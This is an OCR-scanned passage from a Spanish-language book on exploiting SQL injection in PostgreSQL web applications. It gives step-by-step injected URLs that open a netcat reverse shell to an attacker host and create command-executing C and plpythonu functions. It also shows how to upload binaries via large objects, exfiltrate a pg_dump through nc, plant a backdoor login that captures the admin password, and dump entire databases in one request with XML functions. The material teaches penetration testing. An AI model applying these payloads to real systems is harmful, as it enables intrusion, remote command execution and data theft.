puesto que los comandos se ejecutarian utilizando la cuenta con la que opera el servidor web, no la
Base de Datos. Ubuntu 11 incorpora, por defecto, el programa netcat en su version BSD. Una
particularidad de esta implementacion es que no dispone del pardmetro “—¢” utilizado cominmente

para ofrecer shells y otras aplicaciones de forma remota. En cualquier caso, con unas pocas

instrucciones mas es posible obtener un resultado similar.

Supéngase que “maquina.atacante” es el nombre de un equipo controlado por el atacante que
¢jecuta Linux. En este ordenador se ejecuta una instruccion que abre dos puertos de escucha:
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| nc 18000 | nc 1 8001 j

De este modo, las entradas al primer “nc” y las salidas del segundo se mostrardan en una mism,
a
ventana.

En sistemas Windows, cuando dos comandos se conectan mediante un pipe, se ¢jecutan de forma
secuencial: primero uno y después otro. La instruccion anterior (diferencias en el formato de los
parametros aparte), no produciria, por tanto, el resultado deseado. Una posible solucion seria
ejecutar cada “nc” en una ventana separada. Quiza algo molesto, pero el resultado final seria el
mismo.

Una vez la mdquina atacante esta a la espera de conexiones, se puede forzar al servidor web a
realizarlas con un nuevo acceso:

http://webserver2/mail/temp/cmd.php?cmd=while :; do :; done | nc maquina.atacante 8000 |
/bin/sh | nc maquina.atacante 8001

Se comienza con un “while :; do :; done” para crear un ciclo infinito que no muestra nada por su
salida estindar. De este modo se garantiza que el siguiente comando en la cadena, “nc
maquina.atacante 8000 no va a encontrarse nunca con un caricter de FIN-DE-FICHERO que le
haga finalizar. Esta instruccion conectard con uno de los puertos abiertos en la mdquina atacante, a
través del cual recibird los comandos a ejecutar, que serdn después pasados a la shell “/bin/sh”.
Finalmente, las salidas que ésta producen se redirigiran al puerto 8001 del atacante.

El resultado es que éste podré interactuar con la shell, si bien con la ligera molestia de que no le
aparecerd el prompt. En la siguiente imagen se han sefialado con una flecha las entradas
proporcionadas por el atacante.

tester@Ubuntu-1: ~

Archivo Editar Ver Buscar Terminal Ayuda

tester@Ubuntu-1:~$ nc -1 8008 | nc -1 8001 @ =
pwd

/var /www/roundcubemail-e.5.4/temp
1s > —
cmd. php

k5 .
CHANGELOG
INSTALL
LICENSE
README

SQL
UPGRADING
bin

config

T

K (B

Fig 1.30: shell remota
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ndo es posible, la creacion de ficheros en los directorios del servidor web permite también la

Jotacion de vulnerabilidades de otros tipos, tales como Local File Include o Cross Site
:g,;fipting o el almacenamiento y distribucion de malware y otros contenidos. Pero téngase en

genta que, antes, es necesario encontrar una ubicacion sobre la que el usuario de PostgreSQL
c Ed

 {enga permisos de escritura.

~ Otra opcion es aprovechar las capacidades que PostgreSQL ofrece para (.lcﬁnir o impn.:)rtar
funciones en distintos lenguajes de programacion. Uno de los que suelen estar siempre dlS?OﬂlbleS
s C, aunque lo mas probable es que no todos los usuarios tengan los privilegios necesarios para
utilizarlo a la hora de crear funciones.

Una opcion que aparece frecuentemente en la documentacion sobre el tema es importar la funcion

“system” ofrecida por la libreria GNU C, también conocida como “glibc” y que, en los sistemas
- Ubuntu 11, se encuentra en “/1ib/i386-linux-gnu/libc.so.6”. La sentencia para hacerlo seria:

create or replace function system(cstring)
returns int

as 1ib/i386-linux-gnu/libc.s0.6', 'system'
language 'C';

Sin embargo, este método solo funciona correctamente con las versiones de PostgreSQL anteriores
ala8.2.

Para realizar pruebas, se configuré un nuevo servidor con PostgreSQL 8.1, Apache y PHP y sobre
€l se instald la aplicacion usada en los ejemplos anteriores. En estas condiciones, seria posible la
ejecucion de comandos con una solicitud HTTP como la siguiente:

http://webserver2/pruebas/producto.php?id=1;
create or replace function system(cstring)
returns int
as /lib/i386-linux-gnu/libc.so.6', 'system'
language 'C";
select system('while :; do :; done |nc maquina.atacante 8000)/bin/shjnc maquina.atacante 8001")

Como en el ejemplo anterior, se habrian abierto previamente para escucha los puertos 8000 y 8001
en la maquina del atacante mediante sendos comandos “nc”. El resultado volveria a ser una shell
I'émota, pero en este caso el usuario con el que ésta se ejecutaria seria el de la Base de Datos,
habitualmente “postgres”.

A partir de la version 8.2, sin embargo, PostgreSQL introduce el requisito de que las librerias

' utilizadas deben incluir la macro PG MODULE MAGIC. Esto, que en principio se hizo para

evitar incompatibilidades entre las librerias y las distintas versiones de PostgreSQL, supone un
Problema para el atacante, puesto que, como es de esperar, la libreria “libc.s0.6” no incluye esta
Macro (ni, visto lo visto, seria recomendable que la hiciera).
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Bernardo Damele Assumpg¢ao Guimardes, en su paper “Advanced SQL injection to Operating
system full control”, presentado en la conferencia Black Hat Europe 2009, en Amsterdam, propone
un método para solucionar este problema: puesto que la libreria existente no le sirve para realizgy
el ataque... qué mejor que construir una que si cumpla con los requisitos de PostgreSQL, subirla al
servidor aprovechando alguna vulnerabilidad y usarla para definir las funciones necesarias para |
gjecucion de comandos.

La libreria que cred, “lib_postgresqludf sys™ puede descargarse del repositorio subversion de
“sqlmap” (hitps.//svn.sqlmap.org/sqlmap/trunk/sqlmap/), dentro de la subcarpeta “extra/udfhack”.
El fichero debe ser compilado con las librerfas indicadas para la version especifica de PostgreSQL
instalada en el equipo servidor objeto de estudio. Y... subirlo al servidor objeto del ataque. Es aqui
donde radica el principal problema que queda por resolver: en apartados anteriores se mostrd como
escribir ficheros de texto, pero en este caso se trata de un archivo binario y sera necesario usar otra
técnica.

La solucion viene de la mano de los mecanismos de gestion de “objetos grandes binarios”, o
BLOBs (Binary Large OBjects). Ateriorrmente se usé una de sus funciones asociadas,
“lo_import()”, para importar datos desde un fichero. Cuando se desea crear un nuevo objeto a
partir de cero, se puede usar “lo_create™:

http://webserver1/pruebas/producto.php?id=-1 union select cast(lo_create(-2) as text)
;null,null,null

f = | i[E)

e

¢ X H = webserverl

AL : SR
O emmmm o - =

HA INICIADO SESION COMO: Administrador

Datos sobre el producto:

IRefer;ncm ‘Nombre Precio

4294967294

H100% -~

Fig 1.31: Creando el objeto

En este caso, el valor devuelto es 4294967294. El mero hecho de que se retorne un valor es de por
si significativo, puesto que indica que la operacién tuvo éxito. Una causa tipica de errores de
ejecucion podria ser que se hubiera indicado un valor de OID ya existente como pardmetro a
“lo_create()”. En ese caso habria que probar con otros valores hasta conseguir un resultado
correcto.

:.'-http:f’f’webserverlfpruebas;’producto.php‘?id=~l :insert into pg_largeobject values (4294967294, 1,

H
th
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o el OID es posible modificar el contenido del objeto

nociend
t 'f’fwebserverlfpruebasfprnduct0.php'?id=-l :update pg largeobject set data =
3 _.E.g’r'ueba:\ﬂ 12\011Texto tabulado'::bytea where loid = 4294967294

“[| cardcter “E” con el que comienza el valor asignado a “data™ indica que la cadena contiene
caracteres de escape, tipo C, que deben ser interpretados. En este caso, se trata del “\012” para
retorno de carro y 011" para tabulacion horizontal, pero podria especificarse cualquier otro
cter, incluyendo los no imprimibles que aparecen habitualmente en los ficheros binarios,
lizando la representacion en octal de su codigo ASCIIL. Finalmente, se termina el valor con
«..hytea” para forzar la conversion de tipo.

cortas — sobre todo cuando son muchos los caracteres a codificar en octal. En el siguiente ejemplo
se usa esta técnica para afiadir una nueva pagina de datos al objeto creado.

decode('Ck90cmEgbGluZWE=",'base64"))

El texto codificado en BASEG64 consiste en un retorno de carro seguido de la cadena “Otra linea™.

- Por su parte, el valor 1" de la segunda columna indica que ésta es la segunda pagina para el

objeto (la numeracion empieza en cero).

- Una vez se hayan aiiadido todas las paginas necesarias para almacenar el contenido que se desea

dar al fichero, éste puede ser creado en una ruta que mas adelante sea accesible. Por ejemplo:

[ http://webserver1/pruebas/producto.php?id=-1:select lo_export(4294967294,
"/tmp/fichero")

De nuevo, esta instruccion fallara si no se cuentan con permisos de superusuario de la Base de
Datos. Como se puede comprobar visualizando su contenido, el fichero si fue creado y esta
formado por los valores introducidos en las diferentes paginas de datos afiadidos, incluyendo los
Caracteres no imprimibles (el texto del fichero aparece resaltado en cursiva):

tester@Ubuntu-1:~$ cat /tmp/fichero
Prueba:

Texto tabulado
Otra linea tester@Ubuntu-1:~$

Usando esta técnica, el atacante seria ya capaz de subir el fichero con su libreria de funciones. Y
Una vez lo consiguiera, podria intentar crear en PostgreSQL las funciones que le permitirdn
€jecutar comandos arbitrarios en el Sistema Operativo.
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Existen otros lenguajes de programacion que pueden ser utilizados en conjuncién con PostgreSQL
y que podrian permitir la ejecucion de cédigo. La tabla “pg language™ contiene informacién g
respecto:

postgres=# select * from pg language;

lanname | lanowner | lanispl | lanpltrusted | lanplcallfoid |
lanvalidator | lanacl
—————————— o e e e e
————— Fm———————

internal | 10 | £ | £ | 01
2246

C | 10 | £ | £ | 0
2247 |

sql | 10 | £ | t | a |
2248 |

(3 filas)
postgres=¢#

Como puede observarse, se dispone de 3 lenguajes: el interno, C y SQL. Este tltimo aparece
marcado como “trusted”, fiable, en la tercera columna (lanpltrusted=t). Esto quiere decir que no
permite obtener, ni interactuar con, informacion externa a PostgreSQL.

Los lenguajes “not ntrusted”, no fiables, sin embargo, si proporcionan interfaces con elementos
ajenos a la Base de Datos, como el Sistema Operativo. Son éstos los que interesan a la hora de
ejecutar comandos, si bien es necesario ser superusuario para utilizarlos.

Aparte de los tres lenguajes ya mencionados, se pueden usar otros. Algunos de ellos ya vienen
definidos junto con PostgreSQL y figuran en la tabla pg_pltemplate:

postgres=# select * from pg pltemplate;

tmplname | tmpltrusted | tmpldbacreate | tmplhandler |
tmplvalidator | tmpllibrary | tmplacl

——————————— o e e e e
_____________ +__._.___________....__.{___...._._____

plpgsal | t | t | plpgsgl call handler
plpgsql validator | $libdir/plpgsql

pltecl |t |t | pltcl call handler |
| $libdir/pltcl |

pltclu I 5 | £ | pltclu call handler |
| $libdir/pltcl |

plperl | & | t | plperl call handler |
plperl validator | $libdir/plperl |

plperlu | £ | £ | plperl call handler
plperl validator | $libdir/plperl |

plpythonu | £ | £ | plpython call handler |
| $libdir/plpython |

(6 filas)
EEE

A A=y |7

| cREATE LANGUAGE

1 postgres=#

~ Porsu parte, “DROP LANGUAGE” desactiva un lenguaje:
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LTS

e ellos, tres estan marcados como no fiables (tmpltrusted=f): “pltclu”, “plperlu” y “plpythonu™.
::pe instruccion para registrar y activar estos lenguajes es “CREATE LANGUAGE". En el siguiente
Lzmplo se activa el lenguaje “plpgsql” en una sesion interactiva con la base de datos:

ﬂ;;g§;g§:# create language plpgsql;:

E ..postgres=#

:"IPuede comprobarse que el lenguaje ha sido afiadido consultando la tabla “pg_language™:

;EEEE§}65=# select lanname from pg language where lanname='plpgsgl';
~ lanname
plpgsql
(1 fila)

postgres=% drop language plpgsqgl;
DROP LANGUAGE
postgres=#

Con “plpgsql” la cosa ha sido sencilla. Pero este lenguaje es fiable y, por tanto, no permite la
ejecucion de comandos en el sistema operativo. Cuando se intenta registrar “plperlu”, aparecen los
problemas:

postgres=4# create language plperlu;

ERROR: no se pudo acceder al archivo «S$libdir/plperl»: No existe el
fichero o el directorio

Postgres=# select lanname from pg language where lanname='plperlu';
lanname

(0 filas)

Postgres=#

- Larazon de este fallo es que, en Ubuntu 11, para activar “plperlu” es necesario que esté instalado

el paquete “postgresql-plperl”. Y, por defecto, no lo estd. El mismo problema surge con
“plpythonu”, que requiere el paquete “postgresql-plpython™. Y con pltclu, dependiente de
“postgresql-pltcl”.
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Para que uno de estos lenguajes pueda ser registrado, es necesario que el administrador del sistemg
haya instalado el correspondiente paquete. El atacante se verd en la obligacion de, en primer lugar,
determinar mediante consultas a la tabla “pg_language™ si alguno ya esta activado vy, si no es éste
el caso, de irlos intentando registrar uno tras otro. Para ello podra utilizar peticiones como:

http://webserverl/pruebas/producto.php?id=-1;create language plpythonu

Y comprobaciones del tipo:

http://webserverl/pruebas/producto.php?id=-1 union select lanname,null,null,null from
pg_language where lanname='plpythonu’'

Si el nombre del lenguaje aparece en la respuesta (y lo més probable es que esto no ocurra), la

operacion tuvo éxito:
ﬁ 'Lﬁ_—} http://webser.. 0~ B ¢ )ﬂ

[HA INICIADO SESION COMO: Administrador | | |

ff} webserverl

Datos sobre el producto: |s;
Retersnc Nombes e | | ‘
plpythonu

e v

Busecar nrodncto x

Fig 1.32: Lenguaje registrado

Aprovechando este golpe de suerte, el atacante podria definir una funcién en Python mediante la
URL:

http://webserver1/pruebas/producto.php?id=1;
create function ejecutar(text) returns text AS $$
import os;

comando = os.popen(args[0]);

salida = comando.read();

return salida;

$$

language plpythonu

... y utilizarla para ejecutar comandos en el sistema operativo y recibir sus respuestas:

C itulo 1. SOL Injection a partir de (casi) cero _m
Ca ,
.xrhttp.;;webscrverlfpruebas:’producto.php?id=-1 union select ejecutar('pwd'), null, null, null |

P =
etal% http://webser... © ~ E ¢ X

l = webserverl
HA INICIADO SESION COMO: Administrador

i iRcfcrenci.a

Datos sobre el producto: Ei _

Nombre ibrecit-) |
|»“varﬂ£.-;}cstgres ql’8 4/main

Buscar producto -

Fig 1.33: Ejecutando el commando “pwd™

... 0 para seguir abriendo puertas de acceso al sistema.

12. Respuestas indirectas y otras “curiosidades”

'En muchos de los ejemplos anteriores, el atacante realizaba una peticion HTTP y obtenia los datos
en la correspondiente respuesta. Sin embargo, no siempre ocurre asi: las instrucciones SQL pueden
~ tener efectos que no se limiten a sus meros resultados.

Ya se vio un caso en el que la respuesta venia dada no por ningtn dato en particular sino por unas
conexiones de red que ofrecian una shell remota. Estas mismas conexiones podrian haberse
utilizado para ofrecer otros servicios, establecer tineles a través de los que conectar con otros
equipos de la red, o transmitir los datos de una tabla, exportaciones de la base de datos o cualquier
informacién relevante. O podrian haberse sustituido por otros medios como tineles sobre DNS u
‘otros protocolos.

Asi, el atacante podria obtener una copia de la Base de datos abriendo un puerto de escucha en su
maquina mediante el comando:

[ne 18000 > dump_bd

E- . inyectando SQL que ejecutara la siguiente instruccion en el sistema operativo del servidor
PostgreSQL:

/ust/bin/pg_dump | nc maquina.atacante 8000
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Por otro lado, hay ocasiones en que son necesarias varias peticiones para obtener un dato,
Considérese el formulario de login de la aplicacién usada para las pruebas. En caso de que log
datos introducidos no sean correctos, s6lo muestra un mensaje de aviso. Si si lo son, presenta yp
mensaje de bienvenida y permite proseguir hacia la pagina de productos.

Como se mostré en su momento, cuenta de usuario y contrasefia son procesados por un script que
tiene una vulnerabilidad de tipo SQL Injection. Dado que en el mensaje de bienvenida aparece ¢|
nombre del usuario, podria usarse este campo para extraer informacién. Pero... {qué ocurriria s
dicho mensaje no incluyera ninguna informacion extraida de la Base de Datos? .Y si lo hubieran
modificado, pensando que asi se mitigarian los efectos de una posible vulnerabilidad?

Aun asi seguiria siendo posible la extraccion de datos, si bien serfan necesarias varios accesos
HTTP. En el primero de ellos se produciria la inyeccion insertando el siguiente valor en el campo
“nombre” del formulario de inicio de sesion:

", insert into almacen.usuarios(id,nombre,contrasena,"desc") values (33,'a",'b', (select
nombre||":'||contrasena from almacen.usuarios where nombre="admin'))--

... y dejando vacia la contrasefia. El codigo SQL inyectado creard una nueva fila en la tabla de
[ L}

usuarios de la aplicacion. Una cuenta llamada “a” con contrasefia “b” que permitira al atacante
acceder mas adelante sin problemas.

Ademas, en el campo “desc” (ndtese que en la consulta se introduce entre comillas dobles para
evitar errores de sintaxis, ya que “desc” es una palabra reservada) contendra el resultado de
concatenar el nombre y la contrasefia de la cuenta “admin”.

({92 ]

El resultado sera un login fallido. Pero a continuacion se podra iniciar sesién como usuario “a” con
contrasefia “b”. El mensaje de bienvenida, con las nuevas modificaciones introducidas de acuerdo
con lo indicado anteriormente, no incluira ningin dato util:

l= | @.w' § |
G(::ﬁ)‘ @ http:_r'_"webser... p x g G >4 | 'g—g wehserver

-

Login OK

Bienvenid@,
Pulse aqui para continuar.

EJ ®100% ~ |

Fig 1.34: El nuevo mensaje de bienvenida
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Nay

3 al acceder a la pagina “productos.php”, la cabecera mostrard el contenido de la columna
o Jos datos de acceso del administrador.

@ g ” - J @iﬁ
a'/ W’@; http://webser.. 0~ B ¢ X '

HA INICIADO SESION COMO} adminpassadmin

= webserverl

Buscar producto

Buscar:

#®100% ~ |

Fig 1.35: usuario:contrasefia

- Las posibilidades no acaban aqui: inyecciones en consultas SQL cuyos resultados pueden producir
inyecciones en ofras posteriores, técnicas avanzadas de explotacién y post-explotacion, medidas y
- contramedidas... El viaje acaba de comenzar.

13. Conclusiones

Este capitulo se inici6 con un error en un programa y termind con un atacante capaz de extraer y

- modificar informacion de la Base de Datos, leer y escribir ficheros y ejecutar comandos.

Hasta qué punto el atacante va a controlar el sistema dependerd en gran medida de los permisos de

- las cuentas de usuario implicadas. Pero no sélo de eso. Por un lado porque siempre existiran

tcnicas para intentar una elevacion de privilegios que lo coloquen en una situacion mas ventajosa
- que laoriginal.

Y, por otro, porque su propia capacidad para explotar las vulnerabilidades puede marcar la
diferencia entre el éxito y el fracaso. Le es fundamental conocer, dominar, el Sistema Gestor de
Bases de Datos que tiene enfrente y el entorno en el que opera. Y adoptar una actitud imaginativa
Y creativa frente a los obsticulos que se le presenten.

Los ejemplos presentados hasta este momento funcionan con una Base de Datos PostgreSQL. Sin
embargo, muchos de ellos serian de poca utilidad ante otros Gestores de Bases de Datos, ya que
Cada uno almacena el Esquema y los catdlogos del sistema de forma distinta y amplia las

- funcionalidades definidas por los estandares a su manera.

Enlo que queda de libro se documentaran algunas de estas diferencias y se mostrara coémo resolver

ios numerosos problemas tipicos que se plantean habitualmente al utilizar las técnicas de SQL
Njection,
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Capitulo II
Serialized SQL Injection

n pasado sus afos desde que, a finales de la década de los 90, se empezara a hablar de lo que
e conoce como SQL Injection y, sin embargo, esta técnica aun sigue siendo objeto de

udios, publicaciones y presentaciones que introducen referencias a nuevos entornos y nuevas
sibilidades de explotacion.

o de los asuntos sobre los que se ha venido incidiendo recientemente es la eficiencia en la
raccion de datos. Tanto si el proceso se realiza manualmente como si se hace de forma
omitica, conviene reducir al minimo imprescindible el nimero de peticiones a realizar puesto
ué_, cuanto m4s se interactiie con el sistema a estudiar, mas posibilidades existirin de ser

ectados y mds tiempo se requerird para terminar la tarea. En términos practicos, considérese una
licacién vulnerable a SOL Injection en la que se puede afadir una cldusula “Union” para que

rima un campo. S6lo un campo. La pregunta es: ;Como acceder a toda la base de datos de
orma rapida y en pocos accesos?

a tiempos recientes, la respuesta cominmente aceptada era que no existia otra opcién que ir
cando poco a poco toda la informacion, fila a fila.

€10 a Daniel Kachakil se le ocurri6 que se podria conseguir mejores resultados en Microsoft SOL
Server, serializando los resultados de la consulta a un string XML con la funcion FOR XML. José
Palazén, “Palako”, adapt6 esta idea a MySOL, utilizando Concat y Group Contact y Alejandro
Martin hizo 1o propio en Oracle con XMLForest, XMLElement y SYS XMLAGG. Mas adelante,

Cuando se hizo publica esta técnica, se pudo ver como Alexander Kornbrust hacia algo similar en
los mensajes de error de Oracle.

I en PostgreSQL también es posible...

- PostgreSQL

k el Capitulo | se presentd una aplicacion web vulnerable a ataques de SQL Injection y se mostrd

Js Mo era posible extraer informacién de una tabla, fila a fila, mediante URLs similares a la
Siguiente:
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http://webserver1/pruebas/producto.php?id=-1 UNION select nombre||'<p>'[|contrasena, U.desc,
null,null from almacen.usuarios U order by 1 limit 1 offset 0

El principal inconveniente de esta técnica es que se requiere una peticion por cada fila de la
consulta inyectada. Para 1000 usuarios, 1000 consultas.

Afortunadamente, existen otros métodos mucho mas rapidos y eficaces. El primero que se tratara
aqui aprovecha las funciones de gestion de contenidos XML que proporciona PostgreSQL a partir
de su version 8.3.

1.1.Funciones para XML

PostgreSQL proporciona, en sus versiones 8.3 y posteriores, varias funciones que permiten
convertir una tabla o una consulta SQL en un documento XML. La primera de ellas es
“table_to_xml” y su sintaxis es:

l table to_xml(tabla, nulos, formato, ns)

Donde los parametros tienen el siguiente significado:

TABLA | EL NOMBRE DE LA TABLA A CONVERTIR A XML

Hiilos Indica si el codigo XML debe incluir o no aquellas columnas que contengan un valor
nulo.

formato | EXisten dos formatos disponibles para presentar los datos. Este argumento, de tipo
booleano, determina cual de ellos se aplicara.

Cadena que indica el namespace XML que se quiere aplicar al resultado. Si no se
desea ningin namespace en particular, se puede utilizar una cadena vacia.

Para mas informacion sobre los namespaces XML se puede consultar el documento:
http./les.wikipedia.org/wiki/XML_Schema#iNamespaces

Esta funcion retorna un valor de tipo “XML”. Si se desea convertirlo a tipos mas manejables,
como “text” o “character”, se puede usar la funcion “xmlserialize” perteneciente al standard SQL:

XMLSERIALIZE(DOCUMENT valor_xml AS tipo_deseado)
o bien
XMLSERIALIZE(CONTENT valor_xml AS tipo_deseado)

... donde el tipo deseado puede ser “character”, “character varying” o “text.

Dependiendo de si se especifica “DOCUMENT” o “CONTENT™, el valor XML seré interpretado
como un documento XML bien formado y completo o como un fragmento parcial del mismo.
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postgreSQL también permite usar aqui la funcion “cast”, vista anteriormente. En este caso, se
determinard si se usa “DOCUMENT"” o “CONTENT" consultando el valor del parametro de
conﬁguracién de sesion “XML OPTION™.

Usando la primera de las opciones se puede construir una peticion como la siguiente:

http://webserver | /pruebas/producto.php?id=-1 union select
table_to_xml('almacen.usuarios',true,false,") as text),null,null,null--

xmlserialize(document

1| 2 http:f/webserve O ~ B¢ X

= webserverl

HA INICIADO SESION COMO: Administrador i

Datos sobre el producto:

Referencia . - ...'-?ombre Precio! | |

usuariol passwordl 2 Primer usuario usuario2
password2 3 Segundo Usuario leet P@55w0rd 4 El
\Amigo Friky admin passadmin 1 Administrador a b
133 admin‘passadmin

Fig 2.1: Datos de la tabla

Puede observarse como los datos son mostrados uno tras otro, sin aparente orden ni disposicion.
Esto se debe a que el navegador ignora las etiquetas XML cuyo nombre no existe en el estandar
HTML. Analizando el codigo fuente si se observa la estructura del documento XML generado:

o

I[:—:j http://webser.. O ~ 2 C X || & webserverl
<TD>Referenc1a<fTD>
<TD>Nombre</TD>
<TD>Precio</TD></TR>
<TR>
TD><USUARIOS xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-
instance" »<ROW><NOMBRE>usuariol </NOMBRE><CONTRASENA>
passwordl </CONTRASENA><ID>2</ID> <DESC>Primer usuario
k /DESC></ROW><ROW><NOMBRE>usuario2 </NOMBRE><CONTRASENA>
bassword2 </CONTRASENA><ID>3</ID> <DESC>Segundo Usuario £
||k /DESC></ROW><ROW><NOMBRE>1leet </NOMBRE><CONTRASENA>P@S5ward
JCONTRASENA><ID>4</ID> <DESC>El Amigo Friky </DESC></ROW> |
|KROW><NOMBRE>admin </NOMBRE><CONTRASENA>passadmin |
||K/CONTRASENA><ID>1</ID> <DESC>Administrador </DESC></ROW>
|KROW><NOMBRE>a </NOMBRE><CONTRASENA>b </CONTRASENA><ID>33
\|K/ID> <DESCradmin:passadmin </DESC></ROW></USUARIOS></TD>
|| <TD></ 10> =

T Fig22: XML
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... que, debidamente embellecido, queda:

<USUARIOS xmlns:xsi="http://www.w3.0org/2001/XMLSchema-instance">
<ROW=

<NOMBRE=>usuariol </NOMBRE>

<CONTRASENA>passwordl </CONTRASENA>

<ID>2</1D>

<DESC>Primer usuario </DESC>
</ROW=

<ROW=
<NOMBRE=>usuario2 </NOMBRE=>
<CONTRASENA=>password2 </CONTRASENA>
<ID>3</ID>
<DESC>Segundo Usuario </DESC>

</ROW=>

<ROW>
<NOMBRE>leet </NOMBRE>
<CONTRASENA>P@55w0rd </CONTRASENA>
<ID>4</ID>
<DESC>El Amigo Friky </DESC>
</ROW>

<ROW=>
<NOMBRE>admin </NOMBRE>
<CONTRASENA>passadmin </CONTRASENA>
<ID>1</ID>
<DESC>Administrador </DESC>
</ROW=>

<ROW=>
<NOMBRE=>a </NOMBRE>
<CONTRASENA>b </CONTRASENA>
<ID>33</ID>
<DESC>admin:passadmin </DESC>
</ROW=>

</USUARIOS=>

Toda la tabla ha sido extraida en una tGnica peticion. Ademds, las etiquetas XML contienen los
nombres de los campos de la tabla, informacién que puede resultar util en posteriores fases del
ataque. También es posible convertir en XML el resultado de una consulta SQL, utilizando 12
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n “query_to_xml”. Su sintaxis es idéntica a la de “table_to_xml” excepto en el primer

funcio = o ;
~ amento, que indica la consulta a ejecutar:

./jwebserverl/pruebas/producto.php?id=-1 union select xmlserialize(document
to xml('select nombre, contrasena from almacen.usuarios', true, false,") as

| _'i'iel’}'_
; 1l,null,null--

text),nu

HA INICIADO SESION COMO: Administrador

Datos sobre el producto:

Referencia

Nombre Precio |

| wusuariol passwordl usuario? password.lulcct
| P@535w0rd admin passadmin a b

!, Buscar producto

| ,
H100% ~

Fig 2.3: Consulta en XML

Existen dos funciones, “table_to_xmlschema” y “query to_xmlschema”, con los mismos
gumentos que sus contrapartidas vistas anteriormente, que pueden ser utilizadas para obtener
formacion acerca de la estructura de los datos obtenidos. El siguiente cuadro muestra la salida
que producen:

0stgres=# select table to xmlschema('almacen.usuarios',true,true,'');
table_to_xmlschema

<xsd:schema
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema">

<xsd:restriction base="xsd:string">
’ </xsd:restriction>
- </xsd:simpleType>

E <xsd:simpleType name="CHAR">
{

- <Xsd:simpleType name="INTEGER">
1 <xsd:restriction base="xsd:int">
<xsd:maxInclusive value="2147483647"/>
<xsd:minlInclusive value="-2147483648"/>
</xsd:restriction>
</xsd:simpleType>
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<xsd:complexType name="RowType.postgres.almacen.usuarios">
<xsd:sequence>
<xsd:element name="nombre" type="CHAR"
nillable="true"></xsd:element>
<xsd:element name="contrasena" type="CHAR"
nillable="true"></xsd:element>
<xsd:element name="id" type="INTEGER" nillable="true"></xsd:element>
<xsd:element name="desc" type="CHAR" nillable="true"></xsd:element>
</xsd:sequence>
</xsd:complexType>

<xsd:element name="usuarios" type="RowType.postgres.almacen.usuarios"/>

</%sd:schema>
(1 fila)

postgres=#

P-2C le & webserverl ] i [ ; (T

HA INICIADO SESION COMO: Administrador ' R
Datos sobre el producto:

Referencia Nombre Precio
AAA tornillo 1 1 BBB tuerca 2 2 CCC bombilla 4 3 DDD arandela 3 4 EEE destornillador 10 5 usuariol
password] 2 Primer usuario usuario2 password2 3 Segundo Usuario leet P@55w0rd 4 El Amigo Friky admin
\passadmin 1 Administrador a b 33 adminpassadmin 1 Cliente Primero 2011-09-01 12 1 Cliente 2 2011-09-02 5 2

Archivo Buscar Deshabilitar Ver [migenes Caché Herramientas Vai:dari

|| Modao de explorador: IE9  Maodo de documente: no estindar - A x |

_E".-:::rHT‘-‘i § ?_I

| HTML €55 Consola Script Generador de perfiles  Red

<TD>Precio</TD2</TR>

<TR>»

<TD><ALMACEN xmlns:xsi="http://wwe.w3.org/2081/XML5chesa-instance” xsi:nolamespaceSchemalocation="4#">
<X5D:SCHEMA xmlns:xsd="http://www.w3.0rg/2001/ XM Schema™»<X50:SIMPLETYPE name="CHAR" »<X5D:RESTRICTION

| base="xsd:string"></XSD:RESTRICTION></XSD:SIMPLETYPE»<XSD:S5IMPLETYPE name="NUMERIC"></XS50:SIMPLETYPE>
!(XSD:SI-“.PLET&"PE name="INTEGER"><XSD:RESTRICTION base="xsd:int"><XSD:MAXINCLUSIVE value="2147433647" />

| <XSD:MININCLUSIVE value="-21474B3648" /></XSD:RESTRICTION></XSD:SIMPLETYPE><XSD:SIMPLETYPE name="DATE">

| <XSD:RESTRICTION base="xsd:date”><XSD:PATTERN value="\p{Nd}{4}-\p{Nd}{2}-\p{Nd}{2}" /></XSD:RESTRICTION>

| ¢ /%50 STMPLETYPE ><XSD: COMPLEXTYPE name="SchemaType.postgres.almacen”><XSD:ALL><XSD:ELEMENT name="productos”™
type="TableType.postgres.almacen.productos” /><XSD:ELEMENT name="usuarios”
type="TableType.postgres.almacen.usuarios” /><XSD:ELEMENT name="ventas” |
type="TableType.postgres.almacen.ventas” /><¢/XSD:ALL></XSD:COMPLEXTYPE><XSD:ELEMENT name="almacen” i
type="SchemaType.postgres.almacen” /></XSD:SCHEMA><PRODUCTOS ><ROW><REFERENCIA>AAA </REFERENCIA><NOMBRE>tornillo
</NOMBRE><PRECIO»1</PRECIO> <ID>1</ID> </ROW»<ROW><REFERENCIA>BBE </REFERENCIA><NOMBRE>tuerca </NOMBRE>»<PRECIO>
2¢/PRECIO> <ID>2</ID> </ROW><ROW><REFERENCIA»CCC </REFERENCIA><NOMBRE>bombilla </HOMBRE><PRECIO>4</PRECIO> <ID>
3¢/1I0> </ROW»<ROW><REFERENCIA>DDD </REFERENCIA><NOMBRE>arandela ¢/NOMBRE><PRECIO»3</PRECIO> <ID>4</ID> </ROW>
<ROW><REFERENCIA>EEE </REFERENCIA><NOMBRE>destornillader </NOMBRE><PRECIO>18¢/PRECIO> <ID>S¢/ID> </ROMW>

b mdybEE [ele]

¢ FDRONIICTOS 3¢ ISUARTOS Y ¢ RS cMOMARE s uctarinl < JMMARE ¢ COMTRASENA nassward] ¢ /CONTRASENAS< TN 2 /TNY ¢NESCsPrimar 2

Fig 2.4: Extrayendo todo un esquema
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por su parte, “table to_xml and_xmlschema™ combina la salida tanto de los datos como de sus
Jefiniciones en una misma respuesta.

pero no acaban aqui las posibilidades: todo un esquema, o namespace, puede ser extraido
gtilizando  alguna de las  funciones “schema to xml”, “schema to_xmlschema™ o
«wgchema__to_xml_and_xmlschema™:

http -/fwebserver1/pruebas/producto.php?id=-1 union select xmlserialize(document
schema_to_xml_and_xmlschema('almacen’ true,false,") as text),null,null,null--

.. Y, por si fuera poco, también existen “database to_xml”, “database to_xmlschema™ 'y
“database__to_xml_and_xmlschema”. La base de datos completa, incluyendo los BLOBs que se
pudieran haber cargado en ella, de una sola vez:

http://webserverl/pruebas/producto.php?id=-1 union select xmlserialize(document
database to_xml_and xmlschema(true,false,") as text),null,null,null--

Eso si: este tipo de peticiones, por el volumen de datos que retornan, suelen tardar bastante en
completarse. Tanto que es posible se produzca la desconexion del servidor por superar tiempos de
espera establecidos. O que el navegador se ralentice de forma extrema ante el tamafio de la pagina
recibida. En tales casos, herramientas como curl o wget, que se limitan a descargar el contenido de
la respuesta, sin visualizarla, pueden ser de gran utilidad.

1.2. Versiones anteriores a la 8.3

